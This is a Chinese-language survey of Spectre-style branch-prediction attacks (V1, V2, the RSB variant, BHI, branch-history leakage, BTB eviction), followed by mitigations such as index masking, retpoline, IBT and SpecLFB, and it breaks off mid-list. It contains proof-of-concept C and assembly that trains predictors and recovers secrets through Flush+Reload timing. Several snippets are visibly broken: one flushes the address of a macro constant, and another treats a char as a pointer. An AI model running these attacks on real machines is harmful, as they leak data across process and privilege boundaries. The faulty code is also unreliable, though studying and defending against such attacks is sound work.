分支预测执行漏洞原理综述


分支预测攻击及原理

Spectre-V1(Intel, ARM, AMD)

  • 原理(目标微结构)
    • 主攻分支预测器(如 BHR/Pattern History Table),利用分支预测引起的“错误执行路径”造成敏感数据泄露。攻击者在分支预测器中训练一个条件分支,使得 CPU 在分支判断实际结果可知前,基于历史预测错误地“无条件”执行了访问敏感数据的语句,完成推测执行(执行 gadget)。
  • 攻击思路要点
    • 攻击者反复训练分支预测器,使其在特定输入下倾向于预测为“条件为真”。
    • 受害者代码包含数据越界访问(如 array[x]),且条件分支(如 x < array_size)实际为假,但预测器被训练为常为真,于是 CPU 会推测执行越界语句 array[x],将敏感数据内容泄露到微架构(常为缓存)。
    • 攻击者随后通过缓存侧信道(如 Flush+Reload)恢复秘密。
  • 所需条件 / 限制
    • 能影响受害者共享分支预测器状态的 CPU,通常可跨线程同核链路。
    • 受害者代码需有数据越界条件分支和可利用的内存读(典型:array[x],x 可控且越界能读到秘密)。
    • 受害者代码中的越界读结果可被映射到 cache side channel。
    • 所需数据结构PHT/BHB

POC举例如下

// ---------------------------------------------
// 小型 POC 展示:典型 Spectre-V1 攻击
// ---------------------------------------------

#define CACHE_HIT_THRESHOLD 80
#define ARRAY_SIZE 16

// 目标秘密
unsigned char secret = 'S';
char public_array[ARRAY_SIZE] = {0};     // 可控的数据
char probe_array[256 * 512];             // 侧信道探测数组
volatile int temp = 0;

// 受害者代码:带有越界条件分支
void victim_function(size_t x) {
    if (x < ARRAY_SIZE) {
        // 当 x 被特定训练后,预测器认为常为真,允许推测执行下面语句
        temp &= probe_array[public_array[x] * 512];
    }
}

void attack() {
    int score[256] = {0};
    int i, tries, mix_i;
    size_t training_x, malicious_x;
    unsigned int junk = 0;
  
    malicious_x = (size_t)((char*)&secret - public_array); // 计算越界偏移

    for (i = 0; i < sizeof(probe_array); i++) probe_array[i] = 1;

    // 攻击循环
    for (tries = 0; tries < 1000; tries++) {
        // 1. Flush probe_array
        for (i = 0; i < 256; i++) _mm_clflush(&probe_array[i * 512]);
  
        // 2. 分支预测器训练(内循环前 N-1 次,x 为合法,最后1次为恶意越界)
        for (int j = 29; j >= 0; j--) {
            training_x = j % ARRAY_SIZE;
            size_t x;
            // 最后一次为越界恶意访问
            x = (j == 0) ? malicious_x : training_x;
            _mm_clflush(&ARRAY_SIZE);   // 清理 array_size,让分支需要从内存加载(制造延迟)
            victim_function(x);         // 训练/攻击执行
        }

        // 3. 测试 probe_array 命中
        for (i = 0; i < 256; i++) {
            mix_i = ((i * 167) + 13) & 255;
            uint8_t *addr = &probe_array[mix_i * 512];
            uint64_t t1 = __rdtscp(&junk);
            volatile uint8_t tmp = *addr;
            uint64_t t2 = __rdtscp(&junk) - t1;
            if (t2 <= CACHE_HIT_THRESHOLD) score[mix_i]++;
        }
    }
    // 4. 输出分数最高的两个字符
    int max = -1, runner_up = -1;
    for (i = 0; i < 256; i++) {
        if (max < 0 || score[i] > score[max]) {
            runner_up = max; max = i;
        } else if (runner_up < 0 || score[i] > score[runner_up]) {
            runner_up = i;
        }
    }
    printf("推测结果: '%c' (score=%d), 次优: '%c' (score=%d)\n", 
           (char)max, score[max], (char)runner_up, score[runner_up]);
}

int main() {
    printf("Spectre V1 POC Demo starting...\n");
    printf("Target Secret: %c\n", secret);
    attack();
    return 0;
}

Spectre-V2(Intel,ARM,AMD)

  • 原理(目标微结构)
    • 主攻 BTB(以及与之相关的分支目标预测逻辑)和分支历史表。通过在攻击者上下文中“训练”预测器,使得当受害者执行间接分支(indirect call/jmp)时,预测器会预测到攻击者指定的目标地址,从而让 CPU 在受害者上下文中短暂地在该目标上进行推测执行(执行 gadget)。
  • 攻击思路要点
    • 在同一物理核心上反复执行与受害者相近的分支历史序列,但把最后的目标地址指向攻击者准备的 gadget 地址(或映射出的等价虚拟地址低位)。
    • 当受害者执行对应间接分支且分支解析遇延迟时(例如缓存未命中),CPU 会根据此前训练的 BTB 预测目标,于是会在受害者上下文上执行 gadget 的指令并产生微架构副作用(通常是缓存线被加载)。
    • 攻击者随后用缓存侧信道或计时侧信道恢复秘密。
  • 所需条件 / 限制
    • 能在与受害者共享相同分支预测状态的 CPU 执行训练(通常需在同一物理核上);跨核通常无效。
    • 受害者地址空间中存在可执行 gadget(共享库、系统 DLL、内核/微码等)。
    • 受害者的间接分支位置在预测时存在延迟(足够时间执行 gadget 指令)。
    • 所需数据结构BTB

POC举例如下

// --------------------------------------------------------------------------------
// Gadget: 恶意的代码片段,训练时使用
// --------------------------------------------------------------------------------
void gadget(char *addr) {
    // 关键点:这里的 *addr 是读取敏感数据
    // 然后将其乘以 512 映射到 probe_array 的特定页
    temp &= probe_array[(*addr) * 512];
}

// 间接跳转的“正确”目标,探测时使用
void safe_function(char *addr) {
    // 随便做点无关紧要的事,或者空着
    (void)addr; 
}

typedef void (*target_func_t)(char *);

// 参数 target: 这是一个指针,指向下一条要执行的函数
// 参数 data:  传递给函数的数据
void victim_function(target_func_t target, char *data) {
    // [关键点]:这是一个间接调用 (Indirect Call)
    // 汇编层面是:call *%rdi (或者类似寄存器)
    // CPU 必须从内存中读取 target 的值才能知道跳去哪。
    // 如果 target 不在 Cache 中,CPU 就会查 BTB 进行推测。
    target(data);
}

void attack() {
    int i, j, k;
    int mix_i;
    volatile uint8_t *addr;
    size_t malicious_x = (size_t)(secret - (char *)probe_array); // 这里的计算仅为演示,实际传入真实地址
    int score[256] = {0}; // 统计每个字符命中缓存的次数
  
    for (i = 0; i < sizeof(probe_array); i++)
        probe_array[i] = 1;
    // 开始攻击循环:尝试推测每一个字符
    for (int tries = 0; tries < 1000; tries++) { // 尝试 1000 次以消除噪音

        // Step 1: 刷新探测数组 (Flush Probe Array)
        // 把 probe_array 从 CPU Cache 中清除,为了后续测量读取时间
        for (i = 0; i < 256; i++)
            _mm_clflush(&probe_array[i * 512]);

        // Step 2: 训练 BTB (Train the BTB)
        // *在 POC 中*:我们可以直接传入 gadget 进行训练(模拟攻击者污染了 BTB)。
        // *在真实攻击中*:攻击者在自己的进程里,在相同的虚拟地址执行跳转到 gadget 的指令。
        target_func_t trained_target = gadget; 
        target_func_t true_target = safe_function; 

        // 5次训练 + 1次攻击
        for (j = 0; j < 6; j++) {

            target_func_t current_target;
            char *current_data;

            if (j % 6 == 5) {
                // 【攻击回合】
                // 此时 CPU 的 BTB 已经被前 5 次训练成了 "去 gadget"
                // 但我们要传入 true_target,让 CPU 发现自己判断依据不在 Cache 里
                current_target = true_target;
                current_data = (char*)secret; // 我们想窃取这个地址的数据
            } else {
                // 【训练回合】
                current_target = trained_target;
                current_data = (char*)&temp; // 随便给个无害地址
            }

            // Step 3: 制造“推测窗口” (Create Speculative Window)
            // 我们必须把 current_target 这个变量从 Cache 中清除
            // 这样 CPU 必须去内存读 current_target 的值(很慢),
            // 在等待期间,它会根据 BTB(刚才被我们训练成 gadget 了)推测执行 gadget。
            _mm_clflush(&current_target);
  
            // 这里的 current_target 虽然被 flush 了,但作为参数传递可能有寄存器缓存,实际攻击需注意
            victim_function(current_target, current_data);
        }

        // Step 4: 测量时间 (Flush + Reload)

        // 扫描 256 个可能的字符
        for (i = 0; i < 256; i++) {
            int mix_i = ((i * 167) + 13) & 255; // 乱序读取防止步进预测
            addr = &probe_array[mix_i * 512];
  
            unsigned int junk = 0;
            uint64_t t1 = __rdtscp(&junk); // 读取时间戳
            volatile uint8_t tmp = *addr;  // 访问内存
            uint64_t t2 = __rdtscp(&junk) - t1; // 计算耗时

            // 如果时间很短(< 80 cycles),说明在 Cache 里
            if (t2 <= 80 && mix_i != 0) { // 排除0因为可能是未初始化的干扰
                score[mix_i]++; 
            }
        }
    }

    // Step 5: 输出结果
    int max = -1, runner_up = -1;
    for (i = 0; i < 256; i++) {
        if (max < 0 || score[i] > score[max]) {
            runner_up = max;
            max = i;
        } else if (runner_up < 0 || score[i] > score[runner_up]) {
            runner_up = i;
        }
    }

    printf("推测结果: '%c' (score=%d), 次优: '%c' (score=%d)\n", 
           (char)max, score[max], (char)runner_up, score[runner_up]);
}

int main() {
    printf("Spectre V2 POC Demo starting...\n");
    printf("Target Secret: %s\n", secret);
    attack();
    return 0;
}

Spectre-V5(Intel)

  • 原理(目标微结构)
    • 针对 RSB(Return Stack Buffer )或与 return 预测有关的逻辑。RSB 用于预测函数 return 的目标(通过记录 call 的返回地址)。攻击者通过污染或诱导 RSB 下溢/错误内容,使 CPU 在执行 return 时预测到攻击者希望的虚拟地址,从而在受害者上下文触发 gadget 的推测执行。
  • 攻击思路要点
    • RSB 通常为有限深度的循环结构;当 RSB 下溢(例如深度不匹配或经过某些控制流)时,不同微架构会有不同回退策略(有些回退到 BTB)。攻击者利用这些回退行为或直接污染 RSB 的内容来控制返回的预测目标。
    • 攻击方式包括:通过在攻击者线程构造类似的 call/return 历史写入 RSB,或在上下文切换时让 RSB 下溢并使预测器回退到可控模式,从而影响 victim 的 return 预测。
  • 所需条件 / 限制
    • 同样需要在与受害者共享 RSB 的执行上下文上运行(同核、超线程或顺序执行时留下 RSB 状态)。
    • 目标 gadget 必须在受害者可执行的地址空间中。
    • 不同 CPU 对 RSB 下溢的处理不同(有的用 BTB 回退),所以攻击效果依赖于具体微架构与微码。
    • 所需数据结构RSB

POC示例,gadget手动清理栈帧,使得RSB上的返回地址与实际软件栈中的返回地址不匹配

void gadget() {
    __asm__ volatile (
        "push %%rbp\n"          // 保存栈基址
        "mov %%rsp, %%rbp\n"    // 设置当前栈基址
        "pop %%rdi\n"           // 移除栈中当前函数的返回地址(从 gadget 到 speculative)
        "pop %%rdi\n"           // 清理rbp
        "pop %%rdi\n"           // 更改返回地址为父函数返回地址(从 speculative 到 main)
        "clflush (%%rsp)\n"     // 刷新栈顶地址到内存,延长投机执行窗口
        "cpuid\n"               // 序列化指令,确保 clflush 执行完成
        "pop %%rbp\n"           // 同步修改栈底
        "retq\n"                // 触发投机执行:RSB 预测返回地址为 speculative 的第17行,但实际返回地址为main函数中的loop
    : : : "memory", "rdi", "rbp");
}

投机执行函数中,按正常流程,将只执行第一条代码

// 投机执行函数:包含泄露敏感数据的 payload
void speculative(uint8_t* secret_ptr) {
    gadget();  // 调用 gadget 修改软件栈,制造地址不匹配
    // 后续不该被执行,但RSB预测会执行到此处
    uint8_t temp;
    uint8_t secret = *secret_ptr;  // 投机读取敏感数据(正常执行时会被撤销)
    temp &= Array[secret * 64];  
    (void)temp;  
}

下面给出调用此函数的攻击流程

// Flush+Reload 侧信道测量:检测缓存命中(泄露敏感数据)
uint8_t leak_data() {
    uint8_t result = 0;
    uint64_t min_time = UINT64_MAX;
    uint64_t start, end;

    // 1. 预先刷新 Array 所有缓存行
    for (int i = 0; i < ARRAY_SIZE; i++) {
        _mm_clflush(&Array[i * 64]);
    }

    // 2. 触发攻击:调用 speculative 函数,触发投机执行
    speculative(secret_ptr);

    // 3. 测量每个缓存行的访问时间:命中则时间短(对应泄露的 secret 值)
    for (int i = 0; i < ARRAY_SIZE; i++) {
        start = _rdtscp(&result);  // 开始计时(序列化指令)
        (void)Array[i * 64];       // 访问目标缓存行
        end = _rdtscp(&result);    // 结束计时
        _mm_clflush(&Array[i * 64]);// 再次刷新,避免干扰下次测量

        if (end - start < min_time) {
            min_time = end - start;
            result = (uint8_t)i;    // 缓存命中的索引即为泄露的 secret 值
        }
    }

    return result;
}

BHI(Intel,ARM)

  • 原理(目标微结构)
    • 目标是分支历史缓冲(BHB)或模式历史表(BHT/PHT):这些结构存储了先前分支的“taken/not-taken”历史或以分支地址/历史为索引的预测器状态。通过注入(设置)特定的历史位或历史序列,攻击者改变后续分支的预测决策,从而间接影响推测执行路径。
  • 攻击思路要点
    • 与 BTB 污染不同,BHI 利用分支行为(分支是否 taken)历史序列作为输入来影响预测。攻击者在同核上执行与受害者相同或相似的历史序列以“写入”历史状态。
    • 通过控制历史位,攻击者能把受害者的条件分支预测为 taken 或 not‑taken,使受害者短暂执行某个推测分支(gadget)或跳过它。
  • 所需条件 / 限制
    • 需要能在同核上通过一系列条件分支运行来建立期望的历史位模式。
    • 成功的映射依赖于预测器如何索引历史(有的用最近若干分支的目标地址低位与方向位混合)。不同 CPU 将影响训练的复杂程度(需要逆向/试探定位哪些位有用)。
    • 所需数据结构Global BHB

Ps:看似与V1的攻击方式相像,实则原理不一样。该攻击手段是针对现有V2防护的盲点。通过执行一系列给定的预测序列,来覆盖现有的BHB,从而引导下一分支的方向预测

存在变体:BPI(分支特权注入),原理差不多,区别主要在于受害者的权限状态

POC示例:污染函数通过一系列的分支判断,将BHB覆盖为指定01序列,

void poison_bhb_xor(uint8_t* history, int bits) {
    for (int i = 0; i < bits; i++) {
        // volatile防止编译器优化掉分支
        volatile int branch = history[i];
        if (branch) {
            asm volatile("":::"memory"); // dummy分支,或插入其它行为
        } else {
            asm volatile("":::"memory");
        }
    }
}

受害者函数调用

void victim_gadget(size_t idx, void *target_func) {
    uintptr_t pc = (uintptr_t)target_func; // 实际攻击需精细控制目标分支地址
    // 通过前期训练,使得此处BHB预测倾向为true
    if (idx < PROBE_SIZE) {
        uint8_t value = secret;
        probe_array[value * PAGE_SIZE] += 1;
    }
}

主攻击流程

int main() {
    // 1. 保证攻击者和victim运行在同核
    pin_to_core(cpu_core);

    // 2. 动态或逆向/经验选择分支历史序列
    // 假定gshare预测, PC XOR GHR能落到chosen PHT entry(可动态fuzz或测量得最佳history)
    uint8_t best_history[8] = {1,0,1,1,0,1,0,1}; // 仅为示例,实际需针对平台和PC调整
    poison_bhb_xor(best_history, 8);

    // 3. 清cache
    flush_cache();

    // 4. 受害者越界访问,实际应不进入if
    victim_gadget(SECRET + 1000, &victim_gadget);

    // 5. 侧信道恢复secret
    int leak = reload_cache();
    printf("Leaked secret=%d (expect %d)\n", leak, secret);

    return 0;
}

分支历史利用(Intel,ARM)

  • 原理(目标微结构)
    • 这里的重点是“读取/推断”别的上下文或线程留下的分支历史状态(BHB/BHT/BPI 等),而不是仅仅注入。通过测量某些分支在预测器中的行为(如 misprediction 率或侧信道触发),可将分支方向/分支目标等历史信息作为泄露通道。
  • 攻击思路要点
    • 利用预测器对历史敏感的性质,将其作为 oracle:对不同的历史位组合,训练-探测循环可以让攻击者判别目标上下文某些分支是否 taken,从而泄露分支相关秘密(例如条件分支是否走某路径代表一个 secret 位)。
    • 攻击者并不一定要把预测器导向 gadget 并触发推测执行;相反,他们可以通过对预测器进行测试性冲突并观测 misprediction 发生与否来推断被测历史信息。
  • 所需条件 / 限制
    • 能在与受害者共享预测器结构的上下文观察/测量预测器输出(通常需要同核)。
    • 需要一个精妙的 probe 流程,以便把预测行为的差异映射成可测到的现象(缓存访问、时间差、错误率等)。
    • 所需数据结构BHB/PHT

Ps:与BHI还是有区别的,BHI是通过注入强制改变下一个条件分支的走向,而该攻击则是通过对预测历史的推测来获得隐藏信息

POC示例:victim被推测先前行为

void victim_branch(uint8_t secret_bit) {
    // 这里的分支结果(taken or not-taken)将进入BHB/GHR最低位
    if (secret_bit) {
        asm volatile("" ::: "memory"); // taken path
    } else {
        asm volatile("" ::: "memory"); // not-taken path
    }
}

attacker用于泄露victim的上一次分支结果

// ---------- 攻击者:只做一次分支probe ----------
uint8_t attacker_probe_once() {
    // 先清理cache,确保没有缓存干扰
    _mm_clflush(&probe[PAGE_SIZE]);

    // probe分支,其预测受BHB最低位(即刚才victim的secret_bit)影响
    unsigned int aux;
    uint64_t t0 = __rdtscp(&aux);

    if (0) { // 固定分支,分支预测行为依赖之前的BHB历史
        volatile uint8_t x = probe[PAGE_SIZE];
    }

    uint64_t t1 = __rdtscp(&aux);

    // 低延迟:预测失误(mis-predicted);高延迟:预测准确
    return (t1 - t0 < 200) ? 1 : 0; // 阈值“200”依平台可微调
}

主攻击流程,进行多次的攻击,防止偏差,通过预测成功的概率来判断secret为0/1

int main() {
    int N = 1000; // 实验轮数
    for (int sb = 0; sb <= 1; sb++) {
        int count_1 = 0;
        int count_0 = 0;
        for (int i = 0; i < N; ++i) {
            victim_branch(sb);     // 受害者用secret_bit污染分支历史
            uint8_t guess = attacker_probe_once(); // 攻击者probe预测
            if (guess == 1) count_1++; // probe命中低延迟
            else count_0++;
            // 选做:可在两步之间插入N条无关分支语句(避免干扰)
        }
        printf("For secret_bit=%d: judge=1 (fast) = %d, judge=0 (slow) = %d\n",
            sb, count_1, count_0);
    }
    return 0;
}

BSE(ARM)

  • 原理(目标微结构)
    • 利用 BPU 的 “无偏分支预测” 特性,通过 BST(分支状态表)驱逐间接操纵 BHB(分支历史缓冲区),制造 BTB 索引碰撞,诱导目标分支恶意误预测的 Spectre 变体攻击。
  • 攻击思路要点
    • 通过地址别名(使不同虚拟地址映射到 predictor 的同一索引/桶)或通过大量多样化的分支历史来耗尽 predictor 条目。
    • 驱逐后,预测器可能使用次优的默认策略(例如回退到 BTB 或误判),这会增加受害者在某些分支处的 misprediction 概率或令预测器表现出可被攻击者利用的可预测行为。
  • 所需条件 / 限制
    • 能在同核上执行大量分支以“刷”预测器。
    • 成功依赖于预测器的容量与索引/哈希方式;不同 CPU 需要不同规模的“填充”工作量。
    • 可能需要与 BHI/BPI 等方法结合以实现具体的目标(例如先驱逐再注入)。
    • 所需数据结构BTB

Ps:该漏洞通常与注入攻击结合,先将BHB变得可控,后续再注入我们的指定序列,控制分支预测趋向

POC:原理很简单,就是调用大量无意义函数

#include <stdio.h>
#include <stdint.h>
#include <x86intrin.h>

#define NUM_EVICTORS 256  // 你可以根据CPU实际BTB大小设为256~4096等大规模

// 利用宏批量生成多个不同分支
#define DEFINE_EVICTOR(i) \
    void evictor_##i() { asm volatile("" ::: "memory"); }

#define EVICTOR_PTR(i) evictor_##i

// 1. 声明全部分支
#define GEN_EVICTORS(N) \
    GEN_EVICTORS_IMPL(N)
#define GEN_EVICTORS_IMPL(N) \
    GEN_EVICTORS1(N)
#define GEN_EVICTORS1(N) \
    EVICTOR_BODY(0)  EVICTOR_BODY(1)  EVICTOR_BODY(2)  EVICTOR_BODY(3)  \
    EVICTOR_BODY(4)  EVICTOR_BODY(5)  EVICTOR_BODY(6)  EVICTOR_BODY(7)  \
    EVICTOR_BODY(8)  EVICTOR_BODY(9)  EVICTOR_BODY(10) EVICTOR_BODY(11) \
    EVICTOR_BODY(12) EVICTOR_BODY(13) EVICTOR_BODY(14) EVICTOR_BODY(15) \
    EVICTOR_BODY(16) EVICTOR_BODY(17) EVICTOR_BODY(18) EVICTOR_BODY(19) \
    EVICTOR_BODY(20) EVICTOR_BODY(21) EVICTOR_BODY(22) EVICTOR_BODY(23) \
    EVICTOR_BODY(24) EVICTOR_BODY(25) EVICTOR_BODY(26) EVICTOR_BODY(27) \
    EVICTOR_BODY(28) EVICTOR_BODY(29) EVICTOR_BODY(30) EVICTOR_BODY(31) \
    /* ... 按照NUM_EVICTORS向上添加宏展开 ... */

#define EVICTOR_BODY(i) DEFINE_EVICTOR(i)

GEN_EVICTORS(NUM_EVICTORS)

// 2. 构造指针数组,循环调用
void (*evictors[NUM_EVICTORS])() = {
    EVICTOR_PTR(0),  EVICTOR_PTR(1),  EVICTOR_PTR(2),  EVICTOR_PTR(3),
    EVICTOR_PTR(4),  EVICTOR_PTR(5),  EVICTOR_PTR(6),  EVICTOR_PTR(7),
    EVICTOR_PTR(8),  EVICTOR_PTR(9),  EVICTOR_PTR(10), EVICTOR_PTR(11),
    EVICTOR_PTR(12), EVICTOR_PTR(13), EVICTOR_PTR(14), EVICTOR_PTR(15),
    EVICTOR_PTR(16), EVICTOR_PTR(17), EVICTOR_PTR(18), EVICTOR_PTR(19),
    EVICTOR_PTR(20), EVICTOR_PTR(21), EVICTOR_PTR(22), EVICTOR_PTR(23),
    EVICTOR_PTR(24), EVICTOR_PTR(25), EVICTOR_PTR(26), EVICTOR_PTR(27),
    EVICTOR_PTR(28), EVICTOR_PTR(29), EVICTOR_PTR(30), EVICTOR_PTR(31),
    // ... 按照NUM_EVICTORS向上继续添加 ... 
};

__attribute__((noinline))
void target_branch() { asm volatile("" ::: "memory"); }

uint64_t measure_branch_predict(void (*func)()) {
    unsigned int aux;
    uint64_t t1 = __rdtscp(&aux);
    func();
    uint64_t t2 = __rdtscp(&aux);
    return t2 - t1;
}

int main() {
    // 1. 训练: 目标分支进入预测器
    for (int i = 0; i < 20; ++i) target_branch();

    uint64_t t_hit = 0;
    for (int i = 0; i < 10; ++i) t_hit += measure_branch_predict(target_branch);
    t_hit /= 10;
    printf("[Before Evict] Target branch predict avg cycles: %lu\n", t_hit);

    // 2. 使用大量不同分支刷爆 BTB
    for (int j = 0; j < 5; ++j) {   // 多轮确保evict更彻底
        for (int i = 0; i < NUM_EVICTORS; ++i) {
            evictors[i]();
        }
    }

    uint64_t t_miss = 0;
    for (int i = 0; i < 10; ++i) t_miss += measure_branch_predict(target_branch);
    t_miss /= 10;
    printf("[After Evict ] Target branch predict avg cycles: %lu\n", t_miss);

    return 0;
}

现有防护方法

前置:关于三元式与条件分支区别的探讨

在一般设想中, 诸如此类的三元式: uint32_t mask = (idx < ARRAY_SIZE) ? 0xFFFFFFFF : 0x0;。通常被认定为与条件分支语句 if (idx < ARRAY_SIZE){}有着相同的底层实现。事实上,在riscv64-linux-gnu的编译链下,若未经过优化,事实也与我们所想的一样,示例C源代码如下:

#include <stdio.h>
#include <stdlib.h>
int foo(int x) {
    int ret= (x > 10) ? 0x1234 : 0x5678;
    return ret;
}
int pro(int x){
    int ret;
    if(x > 10){
        ret = 0x1234;
    }
    else ret = 0x5678;
    return ret;

}
int main() {
    int y = foo(rand());  // 编译器无法在编译时确认
    int z = pro(rand());
    printf("%d\n", y);
    return 0;
}

看到此时定义了两个函数,其内部逻辑实际一致,但分别使用了三元式和条件分支的形式来实现,对此段代码进行编译并反汇编查看具体汇编代码

riscv64-linux-gnu-gcc hello.c -o Yssx_hello -O3
riscv64-linux-gnu-objdump Yssx_hello -d

有汇编实现如下图

可以看到,事实上foo与pro在底层汇编代码上的实现是一致的,都利用到了条件跳转语句。但是为什么我们后续设想的Masking方案却依然可以实现呢?难道不担心在三元式处会出现新的分支预测吗?

事实上,我们可以将此处代码中的三元式替换为掩码方案中的三元式 int ret= (x > 10) ? 0xFFFFFFFF : 0x0;

此时,我们再对该段代码进行汇编分析(O2与O3优化后汇编一致)

可以发现,原先的条件分支语句已经被替换为了简单的数值比较与逻辑运算(这是由于0xFFFFFFFF与0x0比较工整,可以方便的使用逻辑运算得到)

O1优化下通过取负后符号扩展,也未涉及条件分支

若不开启优化,则三元式依旧会存在条件跳转指令如bge

综上,在开启编译器任一优化的前提下,类似 int ret= (x > 10) ? 0xFFFFFFFF : 0x0;的 三元式均无条件分支指令,无分支预测,因此Masking方案有效

Index Masking

简单地对索引进行掩码操作,从软件层次上强制地将索引规定在合法区间中,示例如下:

//--- 原始,易受投机越界攻击的写法 ---
if (idx < ARRAY_SIZE) {
    secret = array[idx];
}

//--- Index Masking 防护(最常见的掩码写法)---
//要想得到真正的idx,必须强制等待mask值,从而保证等待idx<ARRAY_SIZE的判断执行完毕
uint32_t mask = (idx < ARRAY_SIZE) ? 0xFFFFFFFF : 0x0;    // 若越界则mask=0
idx = idx & mask;                    // 越界时idx强制为0
secret = array[idx];                 // 任意路径下都不会发生越界读取!

如果idx>ARRAY_SIZE,idx便会被强制变为0,从而杜绝掉投机执行过程中的越界操作


Pointer Poisoning

与Index Masking类似,同样是通过掩码形式,对函数指针也进行了三元式判别操作,从而保证投机执行下,不可能访问到未知的危险指针

//--- cond为受害者进程中的某一条件判断 ---
void (*func)(int);
void fallback(int x) { /* dump */ }
void real_impl(int x) { /* secret op */ }

if (cond)
    func = real_impl;
else
    func = fallback;

// ---- Pointer Poisoning: 用mask保护指针 ----
uintptr_t valid_mask = cond ? ~(uintptr_t)0 : (uintptr_t)0; // 条件假时指针全零/无效
func = (void *)((uintptr_t)func & valid_mask);

func(123);   // 投机执行下,func为0时不会跳到real_impl,只能默认回到NULL或trap分支

同理,cond为false时,为避免投机执行,使用掩码将指针置为NULL,从而无法跳转到real_impl


Retpoline(隔离)

(在软件层面上无法阻止投机执行,那么不妨考虑以毒攻毒。既然Spectre变体2攻击能够做到分支目标注入进而控制跳转目标的地址,那防御手段也可以利用同样的做法控制跳转目标的地址,以阻断恶意代码的攻击路径。Retpoline设计者希望使用ret间接跳转并借助RSB预测器来控制投机执行,从而阻断Spectre变体2的攻击路径。上述设计被称为Indirect branch/call thunk。)

采用巧妙的“返回跳板”来替代所有间接jmp/call ,防止分支目标预测被攻击者控制。

每次CPU在快执行间接跳转的时候,比如jmp [xxx], call, 会去询问indirect branch predictor,然后投机选择一个最有可能执行的路径。retpoline就是要绕过这个indirect branch predictor,使得CPU没有办法利用其它人故意训练出来的分支路径。

ret依赖于Return Stack Buffer(RSB)。首先我们应该了解RSB这个结构,它是用于投机执行间接分支跳转的重要组件:每当call的时候,RSB和物理栈同步压入返回地址,遇到ret时,先投机执行RSB栈顶的返回;等到真实ret地址从内存中取出时与其比对,若投机错误回退,当物理栈的ret真正commit时,RSB栈才会同步pop出栈顶地址,确保RSB与物理栈的对应(投机过程中RSB不会pop元素)

替代示例:

; ------ 原始间接跳转(易受投机攻击)------
; mov %r11, %rax
; call *%rax
; 这会用BTB做预测,容易被Spectre V2污染

; ------ Retpoline替换实现 ------
; 目标:安全地跳转到%r11,而不让BTB被攻击者控制
; 步骤:

call   set_up_trampoline          ; [1] 正常call跳入trampoline
                                 ;     call自动把下一条指令的地址压入真实栈和RSB
                                 ;     RSB随后为ret提供正确返回目标
set_up_trampoline:
    mov   %r11, (%rsp)           ; [2] 用你要跳转的目标地址覆写栈顶(call时刚刚压进去的返回地址)
                                 ;     注意:只有真实commit/execution才会“落地修改”!
    ret                          ; [3] ret从栈(已经被mov改写)弹出目标 -> 跳转到%r11
                                 ;     commit时才pop,安全跳转
                                 ;     投机期则ret永远预测跳回本函数的mov这一行(由RSB控制)  

trap_loop:                       ; [4] trap loop是保险兜底,不会被常规流程执行
    pause   
    jmp    trap_loop  

Return stack预测器在RSB被恶意代码故意耗尽导致发生return stack下溢的情况下是可能会被攻击的。既然如此,Retpoline又额外设计了Return stack refill修复方案。该方案的具体做法就是在可能成为攻击路径的关键位置上对RSB进行填充,确保不会因发生return stack下溢而给后续执行的victim代码留下潜在的被攻击的风险。

充填RSB:

mov $8, %rax;   // 循环8次,每次充填2项
.align 16
3:
  call 4f    // 充填一项
3p:
  pause    // 当投机执行会被引入一个无限pause循环
  call 3p
.align 16
4:
  call 5f    // 再充填一项
4p:
  pause
  call 4p
.align 16
 5:
  dec %rax
  jnz 3b
  add $(16*8), %rsp  // 调整栈顶指针

因为重填的RSB项可能会被攻击者“消耗”掉一部分,并有可能被恶意利用,为了不能给攻击者留下任何把柄,RSB中项的目标地址必须要谨慎构造。为了确保万无一失,这里使用了与indirect thunk同样的技巧,将投机执行引入一个无限循环的循环中。


IBT

间接分支追踪(Indirect Branch Tracking,IBT) 是 Intel Control-flow Enforcement Technology (CET) 的核心组件之一,旨在加强程序的控制流保护,防止恶意代码通过控制流劫持技术(如 ROP(Return-Oriented Programming) 或 JOP(Jump-Oriented Programming))来绕过安全机制,执行恶意行为。

间接分支追踪(IBT)通过硬件保护措施,确保所有间接分支的目标地址是合法的,从而防止攻击者通过修改这些目标地址来劫持程序执行。

具体来说,IBT 通过以下几种方式来增强程序的安全性:

1.合法目标地址限制:

  • IBT 强制所有间接跳转必须跳转到合法的目标地址。合法目标通常是预定义的,例如位于程序代码段或其他指定的安全区域。
  • 如果间接跳转的目标地址不是合法的,硬件会触发异常,从而阻止程序继续执行恶意代码。

2.间接分支目标的验证:

  • 在执行间接分支时,硬件会检查该跳转的目标地址是否符合预设的规则。具体来说,间接跳转的目标必须位于一个“可信的”代码区域,否则会触发异常。

3.跳转目标表:

  • IBT 依赖于跳转目标表(例如,函数指针、虚拟表指针等)来验证目标地址是否合法。跳转表会被标记为“可追踪”,并且只有合法的目标可以存在于这个表中。

SpecLFB

核心逻辑:仅限制 “导致缓存缺失的不安全投机加载(MUSL)”,通过 LFB 安全检查阻止其修改缓存,验证安全后再刷新缓存。

  • 目标:消除由“投机加载导致的缓存写入(cache-fill)”所构成的主要 Spectre/Transient‑Execution 缓存侧信道。即:防止任何“未被验证的(speculative/unsafe)加载”把数据写入上层可被其它上下文观测到的缓存层(L1/L2/LLC),直到该加载被确认为 non‑speculative / safe。
  • 受保护对象(Threat):所有可能在推测路径上读取敏感数据并通过 cache 层引起可测副作用的 load(尤其 cache‑miss 导致的 refill)。
  • 假设/边界:
    • 我们不尝试一次性阻断所有微架构泄露(如端口争用、TLB 条目、DRAM-row effects 等),但尽力把最常用且易被利用的“cache-fill”通道切断或延迟。
    • 该方案是硬件特性,需要在 CPU 的 LFB(Line Fill Buffer / fill buffer)与 ROB(Reorder Buffer)之间协作。

只针对会产生可观测缓存插入的“Memory-Unsafe Speculative Loads(MUSL)”,避免对所有投机加载一刀切导致大幅性能降损。

同时一旦投机被验证为“safe”(例如分支被确认、store‑load 依赖解决、值预测验证),立即允许写回以减少延迟。

具体操作为:

  • 新增/扩展模块:
    1. ROB Unsafe Mask Vector(与 ROB 一一对应的位向量):每个 ROB 条目附带一个 unsafe bit(1=可能导致 MUSL、需延迟写回;0=safe)。
    2. LFB 扩展:LFB 条目包含 ROB 指针/索引(或 ROB id)、状态位(valid、data_ready、safe_ready)以及 writeback gating 控制。
    3. LFB → Cache 写回控制逻辑:在 refill 完成后,仅当对应 ROB unsafe bit == 0(或 ROB 已 retired)时才执行 cache writeback;否则保留在 LFB。
    4. Backpressure / Stall Controller:当 LFB 条目达到阈值时,对 dispatch/issue 做节流,防止资源耗尽。
  • 流程(简述):
